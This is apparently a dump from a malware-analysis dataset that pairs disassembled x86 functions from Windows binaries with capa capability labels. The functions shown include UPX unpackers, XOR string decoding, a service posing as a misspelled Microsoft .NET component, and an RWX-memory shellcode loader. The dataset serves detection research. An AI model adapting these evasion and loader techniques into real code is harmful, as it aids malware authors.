joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441590
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4415aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4415b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4415a0
mov eax, 1
add ebx, ebx
jne 0x4415c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4415b8
jne 0x4415d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4415b8
xor ecx, ecx
sub eax, 3
jb 0x4415e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44165a
mov ebp, eax
add ebx, ebx
jne 0x4415f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x441600
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x441624
inc ecx
add ebx, ebx
jne 0x441610
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x441605
jne 0x441621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x441605
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x441644
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x441635
jmp 0x4415a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x441644
add edi, ecx
jmp 0x4415a6
pop esi
mov edi, esi
mov ecx, 0x8d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x441662
cmp byte [edi], 0
jne 0x441662
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x441667
lea edi, [esi + 0x3f000]
mov eax, dword [edi]
or eax, eax
je 0x4416d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x411dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x41314]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x441694
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4131c]
or eax, eax
je 0x4416d0
mov dword [ebx], eax
add ebx, 4
jmp 0x4416b1
call dword [esi + 0x41318]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x441707
cmp al, 0xef
ja 0x4416fa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4416dc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4416e9
mov ebp, dword [esi + 0x41320]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44173b
sub esp, 0xffffff80
jmp 0x401a42
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x571d0f05
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x2ca06955
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40180d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, 0x1687855e
xor ebp, dword [ecx]
mov eax, edx
pushal
jae 0x40179e
ja 0x401823
loop 0x4017cc
fbld tbyte [ecx]
mov ah, 0xa8
dec esi
dec ecx
mov edi, esi
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0xa38489e
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x6ab0553b
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414dea
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], ecx
add eax, 4
cmp eax, ebx
jne fcn.00414dea
dec edx
inc edi
mov esi, 0x12617c35
ret
Function at 0x44212d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44215b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x442179
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00442097
jmp 0x442179
mov eax, dword [esi + 0x14]
test eax, eax
je 0x442179
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00442097
test edi, edi
mov eax, edi
jne 0x442163
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56c32c]
test ecx, ecx
je 0x44222c
jmp 0x44212c
ret 8

Function at 0x419610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x419632
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419628
mov eax, 1
add ebx, ebx
jne 0x41964b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419640
jne 0x41965c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419640
xor ecx, ecx
sub eax, 3
jb 0x419670
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4196e2
mov ebp, eax
add ebx, ebx
jne 0x41967b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419688
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4196ac
inc ecx
add ebx, ebx
jne 0x419698
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41968d
jne 0x4196a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41968d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4196cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4196bd
jmp 0x41962e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4196cc
add edi, ecx
jmp 0x41962e
pop esi
mov edi, esi
mov ecx, 0x5ce
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4196ea
cmp byte [edi], 0
jne 0x4196ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4196ef
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x41975e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x191e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1924c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41971c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19250]
or eax, eax
je 0x419758
mov dword [ebx], eax
add ebx, 4
jmp 0x419739
call dword [esi + 0x19254]
popal
jmp 0x40e274
Function at 0x4019dc
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
lea eax, [ebp - 0x120]
push eax
call sub.USER32.DLL_GetCursorPos
call sub.KERNEL32.dll_GetLastError
mov eax, edi
pop edi
leave
ret

Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00

Function at 0x40893e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
inc ebx
and ecx, ebx
call fcn.0040896a
sub ecx, 0x293f985a
add ecx, ebx
xor dword [edi], eax
and ebx, ebx
mov ecx, 0xcad031d3
add edi, 1
dec ecx
cmp edi, edx
jne fcn.0040893e
ret
Function at 0x411a02
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x417658], 0
push ebx
push esi
mov esi, 0x417660
jne 0x411a2e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x417678], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x417658], 1
push dword [0x417678]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x411acb
push 0x14
push 8
push dword [0x416fec]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x411af5
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x41765c]
test eax, eax
je 0x411a70
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x41765c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x411afa
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x417678]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x416fec]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x411af5
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x10001b90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ax, word [0x103a9ca0]
mov cl, byte [0x103a9e80]
shl ax, cl
mov word [0x103a9ca0], ax
push 0x40
push 0x1000
push 0x230b5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push 0x230b5
push 0x10386be8
mov ecx, dword [ebp - 8]
push ecx
call fcn.1000b520
add esp, 0xc
mov ecx, dword [0x103a9e80]
add ecx, 0x49
mov dx, word [0x103a9ca0]
shl dx, cl
mov word [0x103a9ca0], dx
pushal
push edi
movzx edi, di
push ecx
xchg dword [esp], edi
lea esp, [esp + 4]
pop ecx
xchg ecx, edi
mov eax, dword [ebp - 8]
rol bx, 0xb
ror bx, 0xb
call eax
xor di, dx
xor di, dx
popal
push 0
push 0x93
mov eax, dword [0x103a9e84]
push eax
mov ecx, dword [0x103a9e80]
push ecx
call fcn.10013f90
mov word [0x103a9ca0], ax
pushal
sub di, 0xe836
add di, 0xe836
mov eax, dword [ebp - 8]
sub dh, 0xce
add dh, 0xce
call eax
dec cx
sub cx, 0xffff
popal
mov ecx, dword [0x103a9e80]
or ecx, 0x39
mov dx, word [0x103a9ca0]
sar dx, cl
mov word [0x103a9ca0], dx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a03f
mov esp, ebp
pop ebp
ret
Function at 0x4028a1
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x42cd2c
call fcn.0041992a
mov ebx, ecx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], ebx
xor eax, eax
mov esi, str.sCKC_
mov dword [ebp - 4], eax
lea edi, [ebp - 0x48]
push 0x35
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
cmp byte [0x4384a3], al
je 0x4028e5
mov ecx, eax
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x48], dl
inc ecx
cmp ecx, 0xc
jl 0x4028d2
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [ebp - 0x3c], ecx
test ecx, ecx
je 0x4029c7
mov esi, 0x43821c
lea edi, [ebp - 0x60]
push 0x35
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
pop edi
xor edx, edx
mov eax, esi
div edi
add dl, 0x30
xor byte [ebp + esi - 0x60], dl
inc esi
cmp esi, 0x13
jl 0x402910
lea eax, [ebp - 0x60]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
test ecx, ecx
je 0x4029be
push 0xf
pop edx
cmp dword [ebp + 0x1c], edx
lea eax, [ebp + 8]
lea edi, [ebp - 0x28]
cmova eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov byte [ebp - 0x28], al
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 1
push edx
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x38]
push eax
call ecx
test eax, eax
je 0x4029be
cmp dword [ebp - 0x30], 0
jbe 0x402997
xor esi, esi
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x28]
movzx eax, byte [eax + esi]
push eax
call fcn.004043e0
inc esi
cmp esi, dword [ebp - 0x30]
jb 0x402981
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0040425a
lea ecx, [ebp - 0x28]
call fcn.004025e6
jmp 0x4029d3
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x437f86
mov ecx, ebx
call fcn.00404293
lea ecx, [ebp + 8]
call fcn.004025e6
mov eax, ebx
call fcn.004198d9
ret
Function at 0x4030fb
Capabilities:
Encode data using xor

Disassembly:
push 0x9c
mov eax, 0x42cf05
call fcn.0041992a
mov edi, ecx
mov eax, dword [str.SBJ4]
xor ecx, ecx
mov dword [ebp - 0x80], eax
mov al, byte [0x438028]
push 0x35
mov byte [ebp - 0x7c], al
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x30
xor byte [ebp + ecx - 0x80], dl
inc ecx
cmp ecx, 5
jl 0x403121
lea eax, [ebp - 0x80]
mov edx, edi
push eax
lea ecx, [ebp - 0x74]
call fcn.004044fb
pop ecx
and dword [ebp - 4], 0
push 0x48
call fcn.00418fbb
mov esi, eax
pop ecx
mov dword [ebp - 0x84], esi
push 0x48
push 0
push esi
mov byte [ebp - 4], 1
call fcn.0041ad40
sub esp, 0xc
mov ecx, esp
push edi
call fcn.004042cc
lea eax, [ebp - 0x75]
mov ecx, esi
push eax
call fcn.004027df
mov byte [ebp - 4], 0
mov ebx, eax
cmp byte [ebp - 0x75], 0
je 0x4032a7
mov esi, str.QDFRZ_8
lea edi, [ebp - 0x90]
push 0x35
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 9
jl 0x40319e
sub esp, 0x18
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00404293
mov ecx, ebx
call fcn.0041071c
test al, al
je 0x4032a7
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 2
xor esi, esi
mov eax, dword [ebx + 0x3c]
sub eax, dword [ebx + 0x38]
push 0xc
cdq
pop edi
idiv edi
test eax, eax
jle 0x40329f
push 0
push esi
lea eax, [ebp - 0x5c]
mov ecx, ebx
push eax
call fcn.00410a5d
push 1
push esi
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 3
push eax
mov ecx, ebx
call fcn.00410a5d
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x44]
mov dword [ebp - 0x80], esp
mov ecx, esp
push eax
call fcn.004042cc
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp - 0x5c]
mov ecx, esp
push eax
call fcn.004042cc
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 4
call fcn.00404dfd
add esp, 0x30
push eax
mov ecx, 0x44084c
mov byte [ebp - 4], 6
call fcn.0040441b
lea ecx, [ebp - 0xa8]
call fcn.004025e6
lea ecx, [ebp - 0x44]
call fcn.004025e6
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.004025e6
mov eax, dword [ebx + 0x3c]
inc esi
sub eax, dword [ebx + 0x38]
cdq
idiv edi
cmp esi, eax
jl 0x403206
lea ecx, [ebp - 0x2c]
call fcn.004025e6
test ebx, ebx
je 0x4032bc
mov ecx, ebx
call fcn.004030d7
push 0x48
push ebx
call fcn.00418feb
pop ecx
pop ecx
lea ecx, [ebp - 0x74]
call fcn.004025e6
call fcn.004198d9
ret
Function at 0x404a6d
Capabilities:
Encode data using xor

Disassembly:
push 0xd4
mov eax, 0x42d235
call fcn.004198f7
mov eax, edx
mov dword [ebp - 0x18], eax
mov esi, ecx
mov dword [ebp - 0x1c], esi
xor ebx, ebx
cmp dword [eax + 0x10], ebx
jbe 0x404c20
mov esi, 0x438500
lea edi, [ebp - 0x14]
push 0x37
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 7
jl 0x404aa2
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004044fb
pop ecx
push dword [ebp + 8]
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.0040441b
push eax
lea ecx, [ebp - 0xc8]
call fcn.0040425a
mov byte [ebp - 4], 1
cmp byte [0x438517], 0
mov eax, dword [0x438510]
mov ecx, dword [str.gp_7:y__PPD_r8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
je 0x404b12
xor edx, edx
mov eax, ebx
div esi
add dl, 0x30
xor byte [ebp + ebx - 0x14], dl
inc ebx
cmp ebx, 8
jl 0x404aff
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc8]
call fcn.00404840
push eax
lea ecx, [ebp - 0xb0]
call fcn.0040425a
push dword [ebp + 0xc]
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 2
call fcn.0040441b
push eax
lea ecx, [ebp - 0x98]
call fcn.0040425a
push 1
mov esi, 0x4384c0
mov byte [ebp - 4], 3
push esi
lea ecx, [ebp - 0x98]
call fcn.00404497
push eax
lea ecx, [ebp - 0x80]
call fcn.0040425a
push dword [ebp + 0x10]
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 4
call fcn.0040441b
push eax
lea ecx, [ebp - 0x68]
call fcn.0040425a
push 1
push esi
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 5
call fcn.00404497
push eax
lea ecx, [ebp - 0x50]
call fcn.0040425a
push dword [ebp + 0x14]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 6
call fcn.0040441b
push eax
lea ecx, [ebp - 0x38]
call fcn.0040425a
push 2
push 0x4384bc
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 7
call fcn.00404497
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.0040425a
lea ecx, [ebp - 0x38]
call fcn.004025e6
lea ecx, [ebp - 0x50]
call fcn.004025e6
lea ecx, [ebp - 0x68]
call fcn.004025e6
lea ecx, [ebp - 0x80]
call fcn.004025e6
lea ecx, [ebp - 0x98]
call fcn.004025e6
lea ecx, [ebp - 0xb0]
call fcn.004025e6
lea ecx, [ebp - 0xc8]
call fcn.004025e6
lea ecx, [ebp - 0xe0]
call fcn.004025e6
mov eax, dword [ebp - 0x1c]
jmp 0x404c2c
push 0x437f86
call fcn.00404293
mov eax, esi
call fcn.004198c5
ret